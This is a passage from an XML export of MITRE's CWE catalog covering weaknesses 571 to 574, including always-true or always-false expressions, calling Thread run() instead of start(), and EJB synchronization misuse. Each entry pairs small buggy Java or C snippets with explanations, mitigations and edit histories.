									                  <Code>updateAccount(accountNumber, productNumber);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>if (isValidProduct &amp;&amp; isValidAccount) {</Code>
								                <Block>
									                  <Code>updateAccountOrder(accountNumber, productNumber);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the method never sets the isValidAccount variable after
							initializing it to false so the isValidProduct is mistakenly used twice.
							The result is that the expression "isValidProduct &amp;&amp;
							isValidAccount" will always evaluate to false, so the
							updateAccountOrder() method will never be invoked. This will create
							serious problems with the product ordering application since the user
							account and inventory databases will be updated but the order will not
							be updated.</Text>
						            <Text>This can be easily corrected by updating the appropriate
							variable.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code>...</Code>
							              <Code>if (validAccountNumber(accountNumber)) {</Code>
							              <Block>
								                <Code>isValidAccount = true;</Code>
								                <Code>updateAccount(accountNumber, productNumber);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>...</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text> In the following example, the hasReadWriteAccess method uses bit
						masks and bit operators to determine if a user has read and write privileges
						for a particular process. The variable mask is defined as a bit mask from
						the BIT_READ and BIT_WRITE constants that have been defined. The variable
						mask is used within the predicate of the hasReadWriteAccess method to
						determine if the userMask input parameter has the read and write bits set. </Intro_Text>
					          <Example_Body>
						            <Code_Example_Language>C</Code_Example_Language>
						            <Code_Example_Language>C++</Code_Example_Language>
						            <Block Block_Nature="Bad_Code">
							              <Code>#define BIT_READ 0x0001 // 00000001</Code>
							              <Code>#define BIT_WRITE 0x0010 // 00010000</Code>
							              <Code/>
							              <Code>unsigned int mask = BIT_READ &amp; BIT_WRITE; /* intended to use
								"|" */</Code>
							              <Code/>
							              <Code>// using "&amp;", mask = 00000000 </Code>
							              <Code>// using "|", mask = 00010001</Code>
							              <Code/>
							              <Code>// determine if user has read and write access</Code>
							              <Code>int hasReadWriteAccess(unsigned int userMask) {</Code>
							              <Block>
								                <Code>// if the userMask has read and write bits set</Code>
								                <Code>// then return 1 (true)</Code>
								                <Code>if (userMask &amp; mask) {</Code>
								                <Block>
									                  <Code>return 1;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>// otherwise return 0 (false)</Code>
								                <Code>return 0;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However the bit operator used to initialize the mask variable is the
							AND operator rather than the intended OR operator (CWE-480), this
							resulted in the variable mask being set to 0. As a result, the if
							statement will always evaluate to false and never get executed. </Text>
						            <Text> The use of bit masks, bit operators and bitwise operations on
							variables can be difficult. If possible, try to use frameworks or
							libraries that provide appropriate functionality and abstract the
							implementation.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example, the updateInventory method used within an
						e-business inventory application will update the inventory for a particular
						product. This method includes an if statement with an expression that will
						always evaluate to false. This is a common practice in C/C++ to introduce
						debugging statements quickly by simply changing the expression to evaluate
						to true and then removing those debugging statements by changing expression
						to evaluate to false. This is also a common practice for disabling features
						no longer needed.</Intro_Text>
					          <Example_Body>
						            <Code_Example_Language>C</Code_Example_Language>
						            <Code_Example_Language>C++</Code_Example_Language>
						            <Block Block_Nature="Bad_Code">
							              <Code>int updateInventory(char* productNumber, int numberOfItems)
								{</Code>
							              <Code/>
							              <Block>
								                <Code>int initCount = getProductCount(productNumber);</Code>
								                <Code/>
								                <Code>int updatedCount = initCount + numberOfItems;</Code>
								                <Code/>
								                <Code>int updated = updateProductCount(updatedCount);</Code>
								                <Code/>
								                <Code>// if statement for debugging purposes only</Code>
								                <Code>if (1 == 0) {</Code>
								                <Block>
									                  <Code/>
									                  <Code>char productName[128];</Code>
									                  <Code>productName = getProductName(productNumber);</Code>
									                  <Code/>
									                  <Code>printf("product %s initially has %d items in inventory
										\n", productName, initCount);</Code>
									                  <Code>printf("adding %d items to inventory for %s \n",
										numberOfItems, productName);</Code>
									                  <Code/>
									                  <Code>if (updated == 0) {</Code>
									                  <Block>
										                    <Code>printf("Inventory updated for product %s to %d items
											\n", productName, updatedCount);</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code/>
									                  <Code>else {</Code>
									                  <Block>
										                    <Code>printf("Inventory not updated for product: %s \n",
											productName);</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code/>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>return updated;</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
						            </Block>
						            <Text>Using this practice for introducing debugging statements or disabling
							features creates dead code that can cause problems during code
							maintenance and potentially introduce vulnerabilities. To avoid using
							expressions that evaluate to false for debugging purposes a logging API
							or debugging API should be used for the output of debugging
							messages.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Compile cleanly at high warning levels</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC00-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Compile cleanly at high warning levels</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC00-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="571" Name="Expression is Always True" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software contains an expression that will always evaluate
					to true.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>561</Relationship_Target_ID>
					          <!--Dead Code-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>569</Relationship_Target_ID>
					          <!--Expression Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>747</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>883</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use Static Analysis tools to spot such conditions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following Java example the updateInventory() method used
						within an e-business product ordering/inventory application will check if
						the input product number is in the store or in the warehouse. If the product
						is found, the method will update the store or warehouse database as well as
						the aggregate product database. If the product is not found, the method
						intends to do some special processing without updating any database. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code/>
							              <Code>public void updateInventory(String productNumber) {</Code>
							              <Block>
								                <Code>boolean isProductAvailable = false;</Code>
								                <Code>boolean isDelayed = false;</Code>
								                <Code/>
								                <Code>if (productInStore(productNumber)) {</Code>
								                <Block>
									                  <Code>isProductAvailable = true;</Code>
									                  <Code>updateInStoreDatabase(productNumber);</Code>
								                </Block>
								                <Code>} </Code>
								                <Code>else if (productInWarehouse(productNumber)) {</Code>
								                <Block>
									                  <Code>isProductAvailable = true;</Code>
									                  <Code>updateInWarehouseDatabase(productNumber);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>isProductAvailable = true;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>if ( isProductAvailable ) {</Code>
								                <Block>
									                  <Code>updateProductDatabase(productNumber);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else if ( isDelayed ) {</Code>
								                <Block>
									                  <Comment>/* Warn customer about delay before order processing
										*/</Comment>
									                  <Code>...</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the method never sets the isDelayed variable and instead will
							always update the isProductAvailable variable to true. The result is
							that the predicate testing the isProductAvailable boolean will always
							evaluate to true and therefore always update the product database.
							Further, since the isDelayed variable is initialized to false and never
							changed, the expression always evaluates to false and the customer will
							never be warned of a delay on their product.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Compile cleanly at high warning levels</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC00-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Compile cleanly at high warning levels</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC00-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="572" Name="Call to Thread run() instead of start()" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The program calls a thread's run() method instead of calling
					start(), which causes the code to run in the thread of the caller instead of the
					callee.</Description_Summary>
				        <Extended_Description>
					          <Text>In most cases a direct call to a Thread object's run() method is a bug.
						The programmer intended to begin a new thread of control, but accidentally
						called run() instead of start(), so the run() method will execute in the
						caller's thread of control.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>821</Relationship_Target_ID>
					          <!--Incorrect Synchronization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>557</Relationship_Target_ID>
					          <!--Concurrency Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>634</Relationship_Target_ID>
					          <!--Weaknesses that Affect System Processes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>854</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 09 - Thread APIs (THI)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use the start() method instead of the run() method.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following excerpt from a Java program mistakenly calls run()
						instead of start().</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>Thread thr = new Thread() {</Code>
							              <Block>
								                <Code>public void run() {</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>};</Code>
							              <Code/>
							              <Code>thr.run();</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Affected_Resources>
				        <Affected_Resource>System Process</Affected_Resource>
			      </Affected_Resources>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not invoke Thread.run()</Mapped_Node_Name>
					          <Mapped_Node_ID>THI00-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Call to
						Thread.run()</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="573" Name="Improper Following of Specification by Caller" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not follow or incorrectly follows the
					specifications as required by the implementation language, environment,
					framework, protocol, or platform.</Description_Summary>
				        <Extended_Description>
					          <Text>When leveraging external functionality, such as an API, it is important
						that the caller does so in accordance with the requirements of the external
						functionality or else unintended behaviors may result, possibly leaving the
						system vulnerable to any number of exploits.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>850</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 05 - Methods (MET)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Follow the general contract when implementing the compareTo()
						method</Mapped_Node_Name>
					          <Mapped_Node_ID>MET10-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Failure to Follow
						Specification</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="574" Name="EJB Bad Practices: Use of Synchronization Primitives" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The program violates the Enterprise JavaBeans (EJB)
					specification by using thread synchronization primitives.</Description_Summary>
				        <Extended_Description>
					          <Text>The Enterprise JavaBeans specification requires that every bean provider
						follow a set of programming guidelines designed to ensure that the bean will
						be portable and behave consistently in any EJB container. In this case, the
						program violates the following EJB guideline: "An enterprise bean must not
						use thread synchronization primitives to synchronize execution of multiple
						instances." The specification justifies this requirement in the following
						way: "This rule is required to ensure consistent runtime semantics because
						while some EJB containers may use a single JVM to execute all enterprise
						bean's instances, others may distribute the instances across multiple
						JVMs."</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>695</Relationship_Target_ID>
					          <!--Use of Low-Level Functionality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>821</Relationship_Target_ID>
					          <!--Incorrect Synchronization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not use Synchronization Primitives when writing EJBs.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following Java example a Customer Entity EJB provides access
						to customer information in a database for a business application. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>@Entity</Code>
